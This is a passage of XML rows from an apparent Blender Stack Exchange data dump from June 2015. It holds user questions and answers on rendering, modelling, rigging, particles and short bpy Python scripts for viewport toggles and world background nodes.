Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-22T19:12:28.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="32743" PostTypeId="2" ParentId="32742" CreationDate="2015-06-20T09:49:15.297" Score="0" Body="&lt;p&gt;Cycles Render uses a different node set-up for the materials then Blender Render. (You can check that for both Cycles Render and Blender Render by opening the Node Editor, with 'Use Nodes' enabled) After switching to Cycles Render,  it doesn't contain the materials you have set up in Blender Render. You must make the new materials in Cycles Render yourself.&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-20T09:49:15.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32744" PostTypeId="2" ParentId="26869" CreationDate="2015-06-20T11:22:23.463" Score="8" Body="&lt;p&gt;Besides Mesh (Polygon) modelling in Blender we have support for most of the now standard techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In no particular order, and non exhaustive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sculpting&lt;/strong&gt;&lt;br&gt;&#xA;Sculpting aims to be a digital implementation of the workflow involved in the traditional Art of clay sculpture (start with a virtual ball of clay and &lt;em&gt;push + pull + pinch + lay strips + carve + flatten + polish, etc&lt;/em&gt;). Made popular mostly by ZBrush, but has a fair implementation in Blender. This way of modelling has drawn a wide audience including non-traditionally trained artists, and can be used to generate both organic (soft-body) and mechanical (hard-body) shapes. A web search for the term &quot;Blender Sculpting dyntopo&quot; returns many examples to give you an impression of how far it can take you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Boolean Modelling&lt;/strong&gt;&lt;br&gt;&#xA;Similar to the Set theory uses geometric algorithms to produce &lt;em&gt;Union / Intersection / Difference&lt;/em&gt; of 2 selected Objects. In Blender this relies on the &lt;em&gt;Boolean Modifier&lt;/em&gt;, and both meshes must be manifold (and not self intersecting). It allows for fast &lt;em&gt;Carving&lt;/em&gt; of one shape from another, or joining two shapes together, or even extracting just the parts of two meshes that are in the same 3d space. Because the current implementation is Polygon/Mesh based the resulting mesh will often not be ideal for further manual editing where you might expect topology to be directly related to the contours and features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EScYz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patch Modelling&lt;/strong&gt; (Curves and Nurbs Surfaces)&lt;br&gt;&#xA;With these forms of modelling the surface itself is not defined vertex by vertex by us, but by &lt;em&gt;control points, knots, weights and interpolations&lt;/em&gt;. These surfaces remain defined purely in &lt;em&gt;mathematical&lt;/em&gt; terms until you convert them to Meshes. Blender distinguishes between 2D and 3D Curves. While 2D curves are great for logos / typography and profile shapes, the 3D switch can take one Curve and use it as a profile along a trajectory. These techniques allow for non-destructive experimentation without dealing directly with the resulting mesh for as long as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parametric node based Modelling&lt;/strong&gt;&lt;br&gt;&#xA;At the moment (mid 2015) the PyNodes system &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;noreferrer&quot;&gt;Sverchok&lt;/a&gt; is the only Blender add-on that's explicitly aimed at generating geometry and has over 170 operator nodes. Sverchok takes its inspiration from Grasshopper for Rhino. Targetting architects and designers it assumes some knowledge of basic Vector and Matrix maths, familiarity with Linear Algebra isn't required but helps. If the names Zaha Hadid or Greg Lynn resonate you might want to investigate parametric modelling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Skin Modifier&lt;/strong&gt;&lt;br&gt;&#xA;Similar in a sense to ZSpheres (if you know what those are), it allows you to define a basic edge based mesh and assign radii to each vertex, then it grows a 3d mesh around the structure. You will see this in a lot of Blender sculpting movies as a starting point.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/93VSC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-20T14:09:38.217" LastActivityDate="2015-06-20T14:09:38.217" CommentCount="0" CommunityOwnedDate="2015-06-20T11:22:23.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="32745" PostTypeId="2" ParentId="32697" CreationDate="2015-06-20T11:45:23.470" Score="8" Body="&lt;p&gt;When you have an bone set to use an IK constraint, every bone in that chain enables the Inverse Kinematics tab, found in the bone properties (almost down the bottom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can set limits on the XYZ axis of each bone. the X and Z axis limits show up in the display as a red and blue circle. Y doesnt show up as Y is rotation along the axis of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using axis limits does cause some popping, so you will want to use a Pole target for the IK constraint to allow better control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPJp7.png&quot; alt=&quot;IK limits&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYtbY.png&quot; alt=&quot;3d view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-06-20T11:45:23.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32747" PostTypeId="2" ParentId="31858" CreationDate="2015-06-20T13:44:26.117" Score="3" Body="&lt;p&gt;At the very beggining of the tutorial, he tells us that it may be problematic to work directly with the &lt;em&gt;.mov&lt;/em&gt; file, depending on the FFMPEG version in use within your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should try to &lt;strong&gt;convert&lt;/strong&gt; the movie source file into an &lt;strong&gt;images sequence&lt;/strong&gt;, and import it in VSE. Then, import the audio of the the original &lt;em&gt;.mov&lt;/em&gt; file, and sync it with the images sequence strip.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-06-20T13:44:26.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32748" PostTypeId="1" AcceptedAnswerId="32775" CreationDate="2015-06-20T14:26:28.647" Score="8" ViewCount="4919" Body="&lt;p&gt;I use very often meshes and curves, because I know what they are used for (meshes for renders and curves for follow curves). But I actually don't use surfaces and metaballs. What are surfaces and metaballs used for?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-21T22:03:22.133" Title="What are surfaces and metaballs used for?" Tags="&lt;nurbs-surface&gt;&lt;meta-objects&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32749" PostTypeId="2" ParentId="32559" CreationDate="2015-06-20T14:29:05.420" Score="7" Body="&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&lt;p&gt;The problem was that, your integer property &lt;strong&gt;Timer&lt;/strong&gt; was &lt;em&gt;still equal to 45&lt;/em&gt; when the weapon was switched, &lt;em&gt;for exactly one logic tick&lt;/em&gt;, allowing a shot to escape. Then, one tick later, the message actuator could deliver the message to assign the property &lt;strong&gt;Timer&lt;/strong&gt; to 0.&lt;/p&gt;&#xA;&lt;h2&gt;Reason&lt;/h2&gt;&#xA;&lt;p&gt;The message system actually takes one logic tick from the time the actuator receives the positive pulse from the controller, to the time when the message sensor on the receiving end receives the message and sends the positive pulse to it's controller(s).&lt;/p&gt;&#xA;&lt;h2&gt;How to fix it&lt;/h2&gt;&#xA;&lt;p&gt;I have un-checked the the check boxes on all of the logic we aren't using so it will be easier to see the necessary change. (re-check them before testing)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWwYJ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your end result should look like this, only without the actuators on &lt;strong&gt;Active_Determiner&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Essentially, all you need to do is Delete the logic bricks marked by a red box, and connect the bricks where the Blue lines are.&lt;/p&gt;&#xA;&lt;p&gt;This will completely cut out the message system, (and the one-tick delay) and directly connect the bricks instead.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tItEx.png&quot; alt=&quot;enter image description here&quot; title=&quot;Red means delete this, X-TTT Blue means connect these. My most sincear apologies to user David for using red in one of my posts.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;result:&lt;/p&gt;&#xA;&lt;h1&gt;It works! - yay!&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nu04i.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you didn't understand that, don't feel bad (logic can be confusing.) here is the blend file in case you did get confused.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/286/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=286&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-20T14:29:05.420" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32750" PostTypeId="2" ParentId="32709" CreationDate="2015-06-20T14:34:38.923" Score="3" Body="&lt;p&gt;Depending on the axis I was going to use the most I changed some bones from the default rotation order to another axis rotation order (Euler XYZ to ZYX for example), but I forgot to change the rotation mode on the other side of the rig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After fixing the rotation mode in both sides everything works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MOq11.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="3710" LastEditDate="2015-06-20T15:24:01.247" LastActivityDate="2015-06-20T15:24:01.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32751" PostTypeId="1" CreationDate="2015-06-20T15:34:29.660" Score="1" ViewCount="219" Body="&lt;p&gt;I have a file created in Delftship that I want to import into Sketchup. I exported it to a 3DS file but the file (3.27mb) crashes Sketchup every time. This has happened before and there is a part of the file that Sketchup does not like. I tried exporting to OBJ but the entire file takes forever and never loads into Sketchup. In the past I've been able to export to OBJ in pieces and that loads fine into Sketchup but I can't see how to explode this file. Selecting the model selects the entire model. &lt;/p&gt;&#xA;" OwnerUserId="15122" LastActivityDate="2015-06-20T15:34:29.660" Title="Exploding an OBJ file for export to 3DS" Tags="&lt;export&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32752" PostTypeId="2" ParentId="32714" CreationDate="2015-06-20T16:15:38.007" Score="3" Body="&lt;p&gt;Here's the script to do it. It currently toggles Backface Culling, MatCap, and Ambient Occlusion. I don't think there's a Normal toggle in object mode. did you mean in Edit Mode, toggling Face/Vertex Normals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a key command to use &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;SPACE&lt;/kbd&gt; but you can change that if you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(context):&#xA;&#xA;    area = bpy.context.area&#xA;&#xA;    if area.type == 'VIEW_3D':&#xA;        bpy.context.space_data.show_backface_culling = not bpy.context.space_data.show_backface_culling&#xA;        bpy.context.space_data.use_matcap = not bpy.context.space_data.use_matcap&#xA;        bpy.context.space_data.fx_settings.use_ssao = not bpy.context.space_data.fx_settings.use_ssao&#xA;&#xA;&#xA;&#xA;class opToggleCheckboxes(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.toggle_checkboxes&quot;&#xA;    bl_label = &quot;Toggle Checkboxes&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;addon_keymaps = []&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(opToggleCheckboxes)&#xA;&#xA;    # handle the keymap&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.active.keymaps['3D View']&#xA;    kmi = km.keymap_items.new(opToggleCheckboxes.bl_idname, 'SPACE', 'PRESS', shift=True)&#xA;    addon_keymaps.append(km)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(opToggleCheckboxes)&#xA;&#xA;    # handle the keymap&#xA;    wm = bpy.context.window_manager&#xA;    for km in addon_keymaps:&#xA;        wm.keyconfigs.addon.keymaps.remove(km)&#xA;    # clear the list&#xA;    del addon_keymaps[:]&#xA;&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-20T16:15:38.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32753" PostTypeId="1" CreationDate="2015-06-20T16:21:09.180" Score="2" ViewCount="1018" Body="&lt;p&gt;When I adjust the mean crease or weight crease nothing happens except the selected edges go purple. Why isn't it working?&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ovB1e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovB1e.png&quot; alt=&quot;model in edit mode showing the creased edge&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15123" LastEditorUserId="2217" LastEditDate="2015-06-20T16:42:40.250" LastActivityDate="2015-06-20T17:00:41.777" Title="Why aren't my creases working?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32754" PostTypeId="1" CreationDate="2015-06-20T16:48:34.173" Score="1" ViewCount="122" Body="&lt;p&gt;I have made a mesh of a submarine. I have parented it with a lamp, like a headlight on a car. I have made a particle system to created BOIDs of these submarines, as if they were swarming around. Only the submarine mesh gets rendered in the system. Does anyone know a way of making the lamps appear with the mesh in the particle system too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be massively appreciated! Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="15125" LastEditorUserId="241" LastEditDate="2015-06-20T17:20:03.133" LastActivityDate="2015-06-20T17:20:03.133" Title="Particle System, want to emit a particle AND a lamp" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32755" PostTypeId="2" ParentId="32753" CreationDate="2015-06-20T16:54:02.850" Score="1" Body="&lt;p&gt;You need more vertices to be able to crease the edge. When you make a crease, you are creasing a &lt;em&gt;seam&lt;/em&gt; not a &lt;em&gt;boundary&lt;/em&gt;. I have included an animated demonstration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJ8m7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-20T17:00:41.777" LastActivityDate="2015-06-20T17:00:41.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32756" PostTypeId="2" ParentId="32754" CreationDate="2015-06-20T16:55:40.910" Score="3" Body="&lt;p&gt;After a short experiment I have been able to get a lamp to appear as part of a particle by using the Group option in the Render section and activate the Whole Group checkbox.  Since the mesh and lamp are both part of the group I created they are both instantiated for every particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the biggest gotcha is to set the Size property underneath the Whole Group checkbox to something reasonable (it defaults to rather tiny).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-20T16:55:40.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32757" PostTypeId="2" ParentId="32754" CreationDate="2015-06-20T16:56:44.550" Score="2" Body="&lt;p&gt;Alternatively, you could create a mesh light instead of a lamp and join it to the submarine mesh. Just another option.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-20T16:56:44.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32758" PostTypeId="1" AcceptedAnswerId="32760" CreationDate="2015-06-20T16:57:32.810" Score="4" ViewCount="3000" Body="&lt;p&gt;I'm just getting started with the Blender API, and I'm trying to set the background texture using the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSAlO.png&quot; alt=&quot;Blender_cycles_background_debugging&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the GUI, I do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose the Cycles render engine &lt;code&gt;bpy.context.scene.render.engine = 'CYCLES'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press the &lt;strong&gt;World&lt;/strong&gt; context button, &lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Surface&lt;/strong&gt; menu, press &lt;strong&gt;Use nodes&lt;/strong&gt;, &lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Surface&lt;/strong&gt; box, &lt;strong&gt;Background&lt;/strong&gt;, &lt;/li&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Color&lt;/strong&gt; box select &lt;strong&gt;Gradient Texture&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;li&gt;In the box below that select &lt;strong&gt;Easing&lt;/strong&gt;,&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tried to reproduce this in the console, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.space_data.context = 'WORLD'&#xA;bpy.data.node_groups[&quot;Shader Nodetree&quot;].nodes[&quot;Gradient Texture&quot;].gradient_type = 'EASING'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I got the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last): &lt;br/&gt;&#xA;  File &quot;&quot;, line 1, in  KeyError: 'bpy_prop_collection[key]: key &quot;Shader Nodetree&quot; not found'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I spent over an hour reading the doc and Googling, but I still can't do this in my script? Really appreciate any advice how to do this programatically/in a headless script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15124" LastEditorUserId="3710" LastEditDate="2015-06-20T19:27:52.103" LastActivityDate="2015-06-21T03:32:41.853" Title="How to set a background using the cycles render engine with the API" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32759" PostTypeId="2" ParentId="19320" CreationDate="2015-06-20T16:58:05.477" Score="10" Body="&lt;p&gt;You can try one of the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;View &gt; View selected&lt;/em&gt; or &lt;kbd&gt;.&lt;/kbd&gt; on Numpad&lt;/li&gt;&#xA;&lt;li&gt;If that doesn't work try &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seem that with some blend files &quot;zooming to much&quot; locks the 3D view and you can only rotate the view, not pan or zoom in or out, with other .blend files it is OK... don't know the real source or how to fix the file, anyway if you still want &quot;free zoom, pan and rotate&quot;, you can copy the objects that you need to a new .blend.&lt;/p&gt;&#xA;" OwnerUserId="14900" LastEditorUserId="1245" LastEditDate="2015-06-20T17:20:35.983" LastActivityDate="2015-06-20T17:20:35.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32760" PostTypeId="2" ParentId="32758" CreationDate="2015-06-20T17:29:04.293" Score="2" Body="&lt;p&gt;When you select the Gradient option for the Color item in the World Panel, it runs a number of calls to create the Gradient node and route its socket to the color input of the Background node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To replicate that process, you can't just call the panel tool that you clicked on. I believe you have to manually add the gradient node to the World nodetree and connect the node to the background node via python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;scn.render.engine = 'CYCLES'&#xA;scn.world.use_nodes = True&#xA;&#xA;#select world node tree&#xA;wd = scn.world&#xA;nt = bpy.data.worlds[wd.name].node_tree&#xA;&#xA;#create new gradient texture node&#xA;gradNode = nt.nodes.new(type=&quot;ShaderNodeTexGradient&quot;)&#xA;&#xA;#find location of Background node and position Grad node to the left&#xA;backNode = nt.nodes['Background']&#xA;gradNode.location.x = backNode.location.x-300&#xA;gradNode.location.y = backNode.location.y&#xA;&#xA;#Connect color out of Grad node to Color in of Background node&#xA;gradColOut = gradNode.outputs['Color']&#xA;backColIn = backNode.inputs['Color']&#xA;nt.links.new(gradColOut, backColIn)&#xA;&#xA;#set gradient type to easing&#xA;gradNode.gradient_type = 'EASING'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-21T03:32:41.853" LastActivityDate="2015-06-21T03:32:41.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32761" PostTypeId="1" CreationDate="2015-06-20T18:40:11.093" Score="1" ViewCount="117" Body="&lt;p&gt;I &lt;strong&gt;can't bend/rotate&lt;/strong&gt; any part without the whole mesh moving or not moving depending on the bone selected, I had each part moving before I did X Axis mirror.  When I rotate say the Head or Arm bone the mesh doesn't rotate but if I rotate the The Torso bone the whole mesh rotates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNPvl.png&quot; alt=&quot;Arm&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUwjF.png&quot; alt=&quot;Torso&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do now?  Here's what I have &lt;a href=&quot;https://drive.google.com/file/d/0BwnCnOOEcD5qejBuOUJzR2hQLW8/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0BwnCnOOEcD5qejBuOUJzR2hQLW8/view&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15004" LastEditorUserId="15004" LastEditDate="2015-06-23T04:08:39.157" LastActivityDate="2015-06-23T04:08:39.157" Title="Bones no longer bend the mesh after using &quot;X axis mirror&quot;" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32762" PostTypeId="2" ParentId="15562" CreationDate="2015-06-20T19:24:13.867" Score="4" Body="&lt;p&gt;Add effect strip -&gt; speed control, then just make your image sequence length to 2 times or what you want&#xA;&lt;a href=&quot;http://www.blender.org/manual/editors/sequencer/effects.html#speed-control&quot; rel=&quot;nofollow&quot;&gt;See it in the manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15130" LastActivityDate="2015-06-20T19:24:13.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32763" PostTypeId="1" AcceptedAnswerId="32764" CreationDate="2015-06-20T19:57:13.207" Score="3" ViewCount="753" Body="&lt;p&gt;I'm working with an older model from another program (3DS Max) meant to be rendered in an engine running on older hardware with no dynamic lighting (Faked with shaders and vertex coloring)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model was exported from Max as a DAE and imported into Blender. Upon importing, I found that it has this sort of automated shading going on based on which angle you view the model from, which really interferes when I'm trying to paint vertex colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Max has a 'flat' shading option which disables all scene lighting/shading and leaves vertex colors and textures only. Is there anyway to do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="7937" LastEditorUserId="3710" LastEditDate="2015-06-20T20:01:42.980" LastActivityDate="2015-06-20T20:01:42.980" Title="How to disable scene shading and view Vertex Colors only?" Tags="&lt;3d-view&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32764" PostTypeId="2" ParentId="32763" CreationDate="2015-06-20T20:00:33.820" Score="5" Body="&lt;p&gt;Yes, enable &lt;em&gt;Shadeless&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool Shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt; while in textured view (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nyTVX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-20T20:00:33.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32766" PostTypeId="1" CreationDate="2015-06-20T20:37:26.300" Score="2" ViewCount="665" Body="&lt;p&gt;As you can see on the picture below, I have this object shaped like a complex tube (selected in picture) that I want to wrap around this other object which looks like a flattened low-poly sphere (inactive object in picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hB16d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may see, the center of the tube is flat on the Z axis. I need to wrap the &quot;tube&quot; around the &quot;sphere&quot; so that a line of faces on the bottom of the tube snap to the faces of the sphere. If I try to do it manually with &quot;snap to faces&quot;, only the selected face of the tube moves and the rests stays in place, which distorts the object. I need to bend the tube withtout changing its general geometry. The result intended is what you can see on this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ex9ru.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the shrinkwrap mod but it flattens all the vertices of the tube on the surface of the sphere (like it were intended for wrapping objects without thickness). Should I use physics to make them solid and use bones in my tube so I can articulate it like an arm? I haven't done any rigging/animation so far. Or is there another efficient way of doing this? Another mod? I read a bit about cast, curve and deform modifiers but none them will make the object snap to the other without passing through it. Also, if I skipped a step and there was a more efficient way to do this from the beginning, don't hesitate to tell me. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-06-21T02:47:06.337" Title="Wrap cylinder around sphere" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32767" PostTypeId="1" CreationDate="2015-06-20T21:27:20.623" Score="2" ViewCount="755" Body="&lt;p&gt;Just a quick congrats to the moderators who won! Glad to see some friendly faces keeping their spots as you've help so many out including me with this project and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to my Earth project. Done some more tweaking and have much more to do to try and perfect everything. My next step though is changing the colour of the atmosphere when transitioning from day to night. I want to have that golden/orange glow that appears around the edges of the day and night shift. I've attached my current render and what I'd like the transition to eventually look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xewvf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm aiming for:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9onaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to make 3D clouds as well or 3D manipulated clouds with the texture I'm currently using. But one at a time ey? Look forward to hearing your suggestions!&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="599" LastEditDate="2015-06-21T09:37:08.243" LastActivityDate="2015-06-21T09:37:08.243" Title="Atmosphere Colour Change (Blender Render)" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32768" PostTypeId="1" CreationDate="2015-06-20T21:59:59.310" Score="0" ViewCount="198" Body="&lt;p&gt;I've made pillow kinda thing and unwrapped In blender and I imported my mesh to UDK,applied a material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/7CW2Dif.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material splits, but I don't want that to happen, I want to cover the mesh with only big texture, like this one for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5QPq3Hp.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I that?&lt;/p&gt;&#xA;" OwnerUserId="14925" LastEditorUserId="599" LastEditDate="2015-06-20T22:04:41.463" LastActivityDate="2015-06-20T22:04:41.463" Title="Blender UV unwrapping causes texture to repeat in UDK material" Tags="&lt;mesh&gt;&lt;materials&gt;&lt;export&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
